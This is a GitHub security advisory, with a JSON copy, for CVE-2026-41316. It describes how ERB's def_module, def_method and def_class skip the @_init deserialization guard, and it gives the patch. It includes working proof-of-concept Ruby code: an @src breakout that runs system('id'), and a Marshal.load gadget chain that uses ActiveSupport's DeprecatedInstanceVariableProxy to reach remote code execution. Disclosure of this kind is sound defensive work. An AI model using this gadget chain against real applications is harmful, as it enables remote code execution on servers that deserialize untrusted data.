GHSA-Q339-8RMV-2MHV

Vulnerability from github – Published: 2026-04-24 15:36 – Updated: 2026-04-24 15:36
VLAI?
Summary
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Details

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

## The @_init Guard In `ERB#initialize`, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:
# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. ## The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end
`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods. ### Method wrapper breakout `def_method` wraps `@src` in a method definition: `"def erb\n" + @src + "\nend\n"`. Code inside a method body only executes when the method is called, not when it's defined. However, by setting `@src` to begin with `end\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end
--- ## Proof of Concept ### Minimal (ERB only)
require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
### Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
**Chain:** 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` **Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

### Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:
def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "erb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "erb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.4"
            },
            {
              "fixed": "4.0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.4"
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "erb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "6.0.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "erb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.2"
            },
            {
              "fixed": "6.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:36:05Z",
    "nvd_published_at": "2026-04-24T03:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nRuby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard:\n\n- `ERB#def_method`\n- `ERB#def_module`\n- `ERB#def_class`\n\nAn attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely.\n\n\u003cdetails\u003e\n\n## The @_init Guard\n\nIn `ERB#initialize`, the guard is set:\n\n```ruby\n# erb.rb line 838\n@_init = self.class.singleton_class\n```\n\nIn `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`:\n\n```ruby\n# erb.rb line 1008-1012\ndef result(b=new_toplevel)\n  unless @_init.equal?(self.class.singleton_class)\n    raise ArgumentError, \"not initialized\"\n  end\n  eval(@src, b, (@filename || \u0027(erb)\u0027), @lineno)\nend\n```\n\nWhen an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute.\n\n## The Bypass\n\n`ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`:\n\n```ruby\n# erb.rb line 1088-1093\ndef def_method(mod, methodname, fname=\u0027(ERB)\u0027)\n  src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} \u003c\u003c \"\\nend\\n\"\n  mod.module_eval do\n    eval(src, binding, fname, -1)      # \u003c-- no @_init check\n  end\nend\n\n# erb.rb line 1113-1117\ndef def_module(methodname=\u0027erb\u0027)       # \u003c-- zero-arg call possible\n  mod = Module.new\n  def_method(mod, methodname, @filename || \u0027(ERB)\u0027)\n  mod\nend\n\n# erb.rb line 1170-1174\ndef def_class(superklass=Object, methodname=\u0027result\u0027)  # \u003c-- zero-arg call possible\n  cls = Class.new(superklass)\n  def_method(cls, methodname, @filename || \u0027(ERB)\u0027)\n  cls\nend\n```\n\n`def_module` and `def_class` accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.\n\n### Method wrapper breakout\n\n`def_method` wraps `@src` in a method definition: `\"def erb\\n\" + @src + \"\\nend\\n\"`. Code inside a method body only executes when the method is called, not when it\u0027s defined. However, by setting `@src` to begin with `end\\n`, the attacker closes the method definition early. Code after the first `end` executes immediately at `module_eval` time:\n\n```ruby\n# Attacker sets @src = \"end\\nsystem(\u0027id\u0027)\\ndef x\"\n# After def_method transformation, module_eval receives:\n#\n#   def erb\n#   end\n#   system(\u0027id\u0027)    \u003c- executes at eval time\n#   def x\n#   end\n```\n\n---\n\n## Proof of Concept\n\n### Minimal (ERB only)\n\n```ruby\nrequire \u0027erb\u0027\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem(\u0027id\u0027)\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\n\n# ERB#result correctly blocks this:\nbegin\n  erb.result\nrescue ArgumentError =\u003e e\n  puts \"result: #{e.message} (blocked by @_init -- correct)\"\nend\n\n# ERB#def_module does NOT block this -- executes system(\u0027id\u0027):\nerb.def_module\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n### Marshal deserialization (ERB + ActiveSupport)\n\nWhen combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`:\n\n```ruby\nrequire \u0027active_support\u0027\nrequire \u0027active_support/deprecation\u0027\nrequire \u0027active_support/deprecation/proxy_wrappers\u0027\nrequire \u0027erb\u0027\n\n# --- Build payload (replace proxy class for marshaling) ---\nreal_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nclass ActiveSupport::Deprecation\n  class DeprecatedInstanceVariableProxy\n    def initialize(h)\n      h.each { |k, v| instance_variable_set(k, v) }\n    end\n  end\nend\n\nerb = ERB.allocate\nerb.instance_variable_set(:@src, \"end\\nsystem(\u0027id\u0027)\\ndef x\")\nerb.instance_variable_set(:@lineno, 0)\nerb.instance_variable_set(:@filename, nil)\n\nproxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({\n  :@instance =\u003e erb,\n  :@method =\u003e :def_module,\n  :@var =\u003e \"@x\",\n  :@deprecator =\u003e Kernel\n})\n\nmarshaled = Marshal.dump({proxy =\u003e 0})\n\n# --- Restore real class and trigger ---\nActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)\nActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)\n\n# This triggers RCE:\nMarshal.load(marshaled)\n# Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n**Chain:**\n1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key\n2. Hash key insertion calls `.hash` on the proxy\n3. `.hash` is undefined -\u003e `method_missing(:hash)` -\u003e dispatches to `ERB#def_module`\n4. `def_module` -\u003e `def_method` -\u003e `module_eval(eval(src))` -\u003e breakout -\u003e `system(\u0027id\u0027)`\n\n**Verified on:** Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1\n\n\n\u003c/details\u003e\n\n## Impact\n### Scope\n\nAny Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes:\n\n- **Ruby on Rails applications that import untrusted serialized data** -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC\n- **Ruby tools that import untrusted serialized data** -- any tool using `Marshal.load` for caching, data import, or IPC\n- **Legacy Rails apps** (pre-7.0) that still use Marshal for cookie session serialization\n\n### Severity justification\n\nThe `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke\u0027s November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz\u0027s 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.\n\nThis bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.\n\n\u003cdetails\u003e\n\n### Gadget chain history\n\nSix generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:\n\n| Year | Chain | Mitigated in |\n|------|-------|-------------|\n| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |\n| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |\n| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |\n| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |\n| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |\n| **2026** | **ERB#def_module @_init bypass** | **ERB 6.0.4** |\n\n\u003c/details\u003e\n\n## Patches\n\nThe problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.\n\n* ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4\n\n\u003cdetails\u003e\n\nAdd the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths:\n\n```ruby\ndef def_method(mod, methodname, fname=\u0027(ERB)\u0027)\n  unless @_init.equal?(self.class.singleton_class)\n    raise ArgumentError, \"not initialized\"\n  end\n  src = self.src.sub(/^(?!#|$)/) {\"def #{methodname}\\n\"} \u003c\u003c \"\\nend\\n\"\n  mod.module_eval do\n    eval(src, binding, fname, -1)\n  end\nend\n```\n\n\u003c/details\u003e\n\n-----",
  "id": "GHSA-q339-8rmv-2mhv",
  "modified": "2026-04-24T15:36:05Z",
  "published": "2026-04-24T15:36:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41316"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/erb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ERB has an @_init deserialization guard bypass via def_module / def_method / def_class"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…